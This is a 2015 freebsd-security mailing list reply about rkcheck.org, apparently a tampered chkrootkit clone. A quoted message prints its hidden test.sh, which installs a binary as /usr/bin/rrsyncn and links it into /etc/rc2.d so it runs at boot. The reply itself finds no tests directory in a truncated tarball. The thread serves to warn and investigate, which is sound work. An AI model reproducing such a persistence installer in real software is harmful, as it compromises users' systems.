has my 10.1-RELEASE system been compromised
Joseph Mingrone
jrm at ftfl.ca
Wed Feb 25 21:07:27 UTC 2015
Christopher Schulte <christopher at schulte.org> writes:
>> On Feb 25, 2015, at 2:34 PM, Philip Jocks <pjlists at netzkommune.com> wrote:
>>
>> it felt pretty scammy to me, googling for the "worm" got me to rkcheck.org
>> which was registered a few days ago and looks like a tampered version of
>> chkrootkit. I hope, nobody installed it anywhere, it seems to execute
>> rkcheck/tests/.unit/test.sh which contains
>>
>> #!/bin/bash
>>
>> cp tests/.unit/test /usr/bin/rrsyncn
>> chmod +x /usr/bin/rrsyncn
>> rm -fr /etc/rc2.d/S98rsyncn
>> ln -s /usr/bin/rrsyncn /etc/rc2.d/S98rsyncn
>> /usr/bin/rrsyncn
>> exit
Are you looking at the tarball from the "source code" link,
http://rkcheck.org/download.php?file=rkcheck-1.4.3-src.tar.gz?
% tar -xvf rkcheck-1.4.3-src.tar.gz
x rkcheck/
x rkcheck/chkdirs.c
x rkcheck/README.chklastlog
x rkcheck/README.chkwtmp
x rkcheck/chkutmp.c
x rkcheck/chkrootkit
x rkcheck/chkrootkit.lsm
x rkcheck/check_wtmpx.c
x rkcheck/COPYRIGHT
x rkcheck/strings.c
x rkcheck/ifpromisc.c
x rkcheck/ACKNOWLEDGMENTS
x rkcheck/chklastlog.c: truncated gzip input
tar: Error exit delayed from previous errors.
I don't see a /tests/ directory or any directory under rkcheck.
Joseph
More information about the freebsd-security
mailing list